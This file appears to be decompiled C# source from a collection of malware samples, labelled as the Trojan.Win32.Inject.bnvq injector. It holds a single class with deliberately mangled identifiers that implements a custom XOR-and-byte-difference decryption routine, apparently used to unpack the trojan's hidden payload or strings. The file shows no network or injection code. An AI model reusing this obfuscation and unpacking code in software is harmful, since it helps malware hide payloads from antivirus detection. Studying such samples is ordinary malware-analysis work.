MalwareSourceCode/MSIL/Trojan/Win32/I/Trojan.Win32.Inject.bnvq-1cdf7a3d7f7e84eb44b37a1be87659e9101970618f17cb4fcc7b5bb3a7a93934/BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª.cs

// Decompiled with JetBrains decompiler
// Type: BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª
// Assembly: Û5ðEcºHþÄ, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 1C31CDCB-376F-4BDF-A7C8-C060DA3A57B6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Inject.bnvq-1cdf7a3d7f7e84eb44b37a1be87659e9101970618f17cb4fcc7b5bb3a7a93934.exe

using System;
using System.Text;

public class BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª
{
  private string gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx;

  public string Àª1jïRõ6kÝæG
  {
    get => this.gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx;
    set => this.gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx = value;
  }

  public BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª(string Àª1jïRõ6kÝæG)
  {
    this.gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx = "";
    this.Àª1jïRõ6kÝæG = Àª1jïRõ6kÝæG;
  }

  public string ãµÏ6Gnª8NdáÅfTôÁº25ºÒYoªbúÙY7Fþ(string Óz8TüªN1µýpÜÒP4ã2ºAaÃ) => Encoding.Default.GetString(this.ãµÏ6Gnª8NdáÅfTôÁº25ºÒYoªbúÙY7Fþ(Encoding.Default.GetBytes(Óz8TüªN1µýpÜÒP4ã2ºAaÃ)));

  public byte[] ãµÏ6Gnª8NdáÅfTôÁº25ºÒYoªbúÙY7Fþ(byte[] Óz8TüªN1µýpÜÒP4ã2ºAaÃ)
  {
    Óz8TüªN1µýpÜÒP4ã2ºAaà = this.ð0ÒfFª8µÿZx4ÃKg5ºÞ(Óz8TüªN1µýpÜÒP4ã2ºAaÃ, Encoding.Default.GetBytes(this.Àª1jïRõ6kÝæG));
    byte[] numArray = new byte[checked (Óz8TüªN1µýpÜÒP4ã2ºAaÃ.Length - 2 + 1)];
    int index = checked (Óz8TüªN1µýpÜÒP4ã2ºAaÃ.Length - 1);
    while (index >= 1)
    {
      numArray[checked (index - 1)] = this.ØiªƒJ1WÃ5dµöòYº2ýxCÛçÏ3ªqB(Óz8TüªN1µýpÜÒP4ã2ºAaÃ[index], (short) -Óz8TüªN1µýpÜÒP4ã2ºAaÃ[checked (index - 1)]);
      checked { index += -1; }
    }
    return numArray;
  }

  private byte ØiªƒJ1WÃ5dµöòYº2ýxCÛçÏ3ªqB(byte ûnµÈ1KPº9üºÈ0M, short þz6ÒMªFµåwØ2sÍêZ4ºú)
  {
    while (þz6ÒMªFµåwØ2sÍêZ4ºú < (short) 0)
      checked { þz6ÒMªFµåwØ2sÍêZ4ºú += (short) 256; }
    return Convert.ToByte((int) checked ((short) unchecked ((int) ûnµÈ1KPº9üºÈ0M + (int) þz6ÒMªFµåwØ2sÍêZ4ºú)) % 256);
  }

  private byte[] ð0ÒfFª8µÿZx4ÃKg5ºÞ(byte[] Óz8TüªN1µýpÜÒP4ã2ºAaÃ, byte[] Àª1jïRõ6kÝæG)
  {
    if (Àª1jïRõ6kÝæG.Length != 0)
    {
      int num = checked (Óz8TüªN1µýpÜÒP4ã2ºAaÃ.Length - 1);
      int index = 0;
      while (index <= num)
      {
        Óz8TüªN1µýpÜÒP4ã2ºAaÃ[index] = (byte) ((int) Óz8TüªN1µýpÜÒP4ã2ºAaÃ[index] ^ (int) this.ØiªƒJ1WÃ5dµöòYº2ýxCÛçÏ3ªqB(Àª1jïRõ6kÝæG[index % Àª1jïRõ6kÝæG.Length], (short) Àª1jïRõ6kÝæG[(int) Àª1jïRõ6kÝæG[index % Àª1jïRõ6kÝæG.Length] % Àª1jïRõ6kÝæG.Length]) ^ (int) Àª1jïRõ6kÝæG[checked (index + unchecked (index % 7)) % Àª1jïRõ6kÝæG.Length % Àª1jïRõ6kÝæG.Length]);
        checked { ++index; }
      }
    }
    return Óz8TüªN1µýpÜÒP4ã2ºAaÃ;
  }
}